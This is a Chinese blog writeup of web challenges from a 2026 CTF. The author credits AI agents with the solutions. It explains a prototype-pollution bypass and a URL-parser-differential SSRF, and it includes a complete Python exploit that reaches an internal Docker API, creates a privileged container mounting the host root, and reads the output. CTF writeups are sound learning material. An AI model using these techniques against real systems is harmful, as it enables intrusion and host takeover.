2026 湾区杯初赛 - 个人 Writeup

26 年 9 月 5 日 星期六
1075 字
6 分钟

第二届湾区杯。各类 Agent 在比赛中大杀特杀。

比赛开始不过几分钟,各个方向的简单题都有十几个队伍拿到 Flag. 真不愧是 AI 挖洞的时代啊。

比赛全程没有我自己的分析,全是我跟着 AI 的思路复现漏洞,然后自己懂个大概,才能把 Writeup 写出来。这么做能拿到 Flag, 但总感觉心里不踏实。唉,我们的 CTF 将何去何从~

Web

ThemeForge

“属性路径”中的接口可以更改用户 Profile 的属性;目标显然是拿到 role 属性的编辑权限;直接更改会被拦截。

js
class Profile {
  constructor(id) {
    this.id = id
    this.role = 'designer'
    this.theme = Object.assign(Object.create(null), {
      accent: '#8b5cf6',
      density: 'comfortable',
      glow: true,
    })
  }
}

点击“应用补丁”,页面会将本次请求的 Response Body 回显。

但是它只拦截了 __proto__ ,没拦截 constructor.prototype ? 而且将用户输入按 . 分割成数组后,只检查第一个字段是否有违禁词。

通过原型链,更改当前用户 Profile 的 isAdmin 属性为 true, 可以看到 effectiveAdmin 返回 true

SchemaStudio[未解出]

时序攻击吗??

DockRelay

Payload:

text
http://hooks.partner.test\@engine-api:2375/version

URL - Web API

JS 内置的 Web API URL 解析器用的是 WHATWG URL 标准,会将 反斜杠 \ 自动解析成斜杠 /

而 libcurl 会用另一套规则来解析 URL 字符串。

在 Node REPL 中:

而在 libcurl 中,这段 URL 的 hostname 会被解析成 hooks.partner.test


在 policy.mjs 中:

js
export const ALLOWED_HOST = 'hooks.partner.test'

export function getHost(rawUrl) {
  if (typeof rawUrl !== 'string' || rawUrl.length < 8 || rawUrl.length > 4096) {
    throw Object.assign(new Error('URL_INVALID'), { status: 400, code: 'URL_INVALID' })
  }
  let parsed
  try {
    parsed = new URL(rawUrl)
  } catch {
    throw Object.assign(new Error('URL_INVALID'), { status: 400, code: 'URL_INVALID' })
  }
  if (parsed.protocol !== 'http:') {
    throw Object.assign(new Error('HTTP_ONLY'), { status: 400, code: 'HTTP_ONLY' })
  }
  return { host: parsed.hostname.toLowerCase(), normalizedHref: parsed.href }
}

export function enforcePartnerPolicy(rawUrl) {
  const parsed = getHost(rawUrl)
  if (parsed.host !== ALLOWED_HOST) {
    throw Object.assign(new Error('HOST_NOT_APPROVED'), {
      status: 403,
      code: 'HOST_NOT_APPROVED',
      validatorHost: parsed.host,
    })
  }
  return parsed
}

parsed 变量是由原始 URL 字符串 rawUrl 转换成 JS 中的 URL 对象;而最下方 enforcePartnerPolicy() 则读取 URL 对象中的 host. 利用这个解析特性,就可以构造出 Payload.

在 curl-executor.mjs 中,curl 会直接接收 rawUrl 作为参数,以发送请求。

AI 写脚本解决:

python
#!/usr/bin/env python3
"""
DockRelay 线上复现:5 步拿到 flag。

用法:
    python repro_flag.py                      # 使用默认线上靶机
    TARGET=https://host:3000 python repro_flag.py
    ENGINE=engine-api:2375 python repro_flag.py

依赖: requests (见下方 uv 安装说明)。
"""
from __future__ import annotations

import json
import os
import sys

import requests
import urllib3

# 线上靶机入口(云平台反代,走 HTTPS,自签证书 -> verify=False)
TARGET = os.environ.get("TARGET", "https://eci-2zedhgxt1j9mqbxlz36q.cloudeci1.ichunqiu.com:3000")
API = f"{TARGET.rstrip('/')}/api/v1/diagnostics/execute"

# 校验器(URL()) 看到的“获批品牌名”,必须等于 approvedHost
APPROVED = "hooks.partner.test"
# 真正的外部伙伴服务(baseline 才用)
BASELINE_UPSTREAM = "hooks.partner.test:8080"
# SSRF 真正命中的内网引擎
ENGINE = os.environ.get("ENGINE", "engine-api:2375")

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def relay(method: str, url: str, body: dict | None = None) -> dict:
    """POST /api/v1/diagnostics/execute,返回完整响应 dict。"""
    payload: dict = {"url": url, "method": method}
    if body is not None:
        payload["body"] = body
    resp = requests.post(API, json=payload, verify=False, timeout=30)
    try:
        return resp.json()
    except ValueError as exc:  # 前端常见:端点返回 HTML -> 无法按 JSON 解析
        raise SystemExit(f"[!] 响应不是 JSON (HTTP {resp.status_code}): {resp.text[:200]!r} "
                         f"\n    多半是路径不对(用了非 /catalog 之类)。") from exc


def show(label: str, data: dict) -> None:
    """打印一步的结果。"""
    print(f"\n=== {label} ===")
    if "error" in data:
        print("  relay error:", json.dumps(data, ensure_ascii=False))
        return
    validator = data.get("validator", {})
    upstream = data.get("upstream", {})
    print("  validator host :", validator.get("host"), "| decision:", validator.get("decision"))
    print("  normalized url :", validator.get("normalizedUrl"))
    print("  upstream http  :", upstream.get("status"))
    text = upstream.get("bodyText")
    print("  body           :", text if text is not None
          else f"(binary/base64, {upstream.get('responseBytes', 0)} bytes)")


def approved_base() -> str:
    # URL 里的 \\ 会被 Python 转成单个反斜杠;requests 序列化时再转义为 \\,
    # 服务端解析回来是单个 \。Node URL() 把它当 /,curl 把它当 userinfo 分隔。
    return f"http://{APPROVED}\\@{ENGINE}"


def main() -> int:
    # 1) baseline:拿到 catalog(合法外联目标,泄露 build plane)
    show("1) BASELINE GET /catalog",
         relay("GET", f"http://{BASELINE_UPSTREAM}/catalog"))

    # 2) SSRF -> engine /version(打过 parser differential)
    show("2) SSRF GET engine /version",
         relay("GET", f"{approved_base()}/version"))

    # 3) create:特权 + 只读绑宿主根(门禁强制策略)
    create_body = {
        "Image": "host-reader:1.0",
        "HostConfig": {"Privileged": True, "Binds": ["/:/host:ro"]},
    }
    create = relay("POST", f"{approved_base()}/containers/create", create_body)
    show("3) POST /containers/create (Privileged + /:/host:ro)", create)

    # 提取 container id
    upstream = create.get("upstream", {})
    cid = ""
    if upstream.get("status") == 201 and upstream.get("bodyText"):
        cid = json.loads(upstream["bodyText"]).get("Id", "")
    if not cid:
        print("\n[!] 未拿到容器 Id,链条中断(create 未成功)。")
        return 1
    print(f"\n  container id: {cid}")

    # 4) start
    show("4) POST /containers/{id}/start",
         relay("POST", f"{approved_base()}/containers/{cid}/start"))

    # 5) logs -> flag
    show("5) GET /containers/{id}/logs?stdout=1&stderr=1",
         relay("GET", f"{approved_base()}/containers/{cid}/logs?stdout=1&stderr=1"))

    return 0


if __name__ == "__main__":
    sys.exit(main())

文章标题:2026 湾区杯初赛 - 个人 Writeup

文章作者:华闰

文章链接:https://blog.huarun.moe/posts/2026-%E6%B9%BE%E5%8C%BA%E6%9D%AF[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。